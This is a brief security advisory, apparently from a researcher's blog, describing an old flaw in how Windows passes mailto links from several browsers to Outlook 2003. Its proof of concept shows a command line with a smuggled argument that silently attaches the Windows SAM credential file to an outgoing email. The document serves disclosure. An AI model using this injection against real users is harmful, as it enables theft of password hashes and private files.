** Inge Henriksen Security Advisory http://ingehenriksen.blogspot.com/ ** Advisory Name: Multiple browsers Windows mailto protocol Office 2003 file attachment exploit Release Date: Not released Tested and Confirmed Vulerable: Micrsoft Outlook 2003 SP 1 Microsoft Internet Explorer 6 SP2 Mozilla Firefox 1.06 Avant Browser 10.1 Build 17 Severity: Low Type: Stealing files >From where: Remote Discovered by: Inge Henriksen (inge.henriksen@booleansoft.com) http://ingehenriksen.blogspot.com/ Vendor Status: Not notified Overview: Application protocols handling in Microsoft Windows is badly designed, i.e. when someone types mailto:someone@somewhere.com into a browser the protocol is first looked up under HKEY_CLASSES_ROOT\%protocol%\shell\open\command, if it is a protocol that is allowed under the current user context then the value is simply replaced by the contents in the address bar at %1. In our example "C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m "%1" would become "C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m "mailto:someone@somewhere.com" There is absolutely no input validation in all the browsers I have tested, i.e. there are exploits availible by entering more data into the address bar than was intended. Proof-of Concept: The mailto application protocol can be axploited by entering "", this will cause OUTLOOK.EXE to attach the file to the email without asking for permission, thus opening up for sensitive files to be stolen when a user sends an email it is fair to believe that many people would not notice the attached file before sending the email. To attach the SAM file to a email a html file could contain this: Click here to email me The command being run would now be: "C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m "mailto:someone@somewhere.com""..\..\..\..\..\windows\REPAIR\SAM" , thus attaching the SAM file.